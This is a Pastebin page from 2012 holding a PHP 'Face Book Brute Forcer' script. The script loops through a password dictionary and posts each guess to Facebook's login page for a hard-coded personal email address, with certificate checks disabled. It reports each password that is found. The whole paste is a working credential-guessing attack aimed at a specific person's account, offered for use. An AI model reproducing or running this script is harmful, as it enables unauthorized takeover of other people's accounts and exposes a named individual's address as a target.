TrojanSpot

FaceBook BruteForce | www.pemula.info

Sep 24th, 2012
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.67 KB | None | 0 0
  1. <?
  2. ################################
  3. # Face Book Brute Forcer
  4. ################################
  5. set_time_limit(500);
  6. $username ="mameliaz@yahoo.com"; // username to brute force
  7. $dictionary ="list.txt"; // need dictionary to password list
  8.  
  9. function kontrol($kullaniciadi,$sifre){
  10. $useragent = "Firefox/3.0.17";
  11. $data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
  12. $ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php');
  13. curl_setopt($ch, CURLOPT_HEADER, 0);
  14. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  15. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  16. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($ch, CURLOPT_POST, 1);
  18. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  19. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  20. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  21. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  22. $source=curl_exec ($ch);
  23. curl_close ($ch);
  24. if(eregi("Home</title>",$source)){return true;} else {return false;}
  25.  
  26. }
  27.  
  28. if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
  29. $lines=file($dictionary);
  30. echo "Attack Starting..<br>";
  31. sleep(10);
  32. echo "Attack Started, brute forcing..<br>";
  33. foreach($lines as $line){
  34. $line=str_replace("\r","",$line);
  35. $line=str_replace("\n","",$line);
  36. if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P
  37. assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
  38. else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found :  
  39. $line</font><br>";}
  40. }
  41. ?>
Add Comment
Please, Sign In to add comment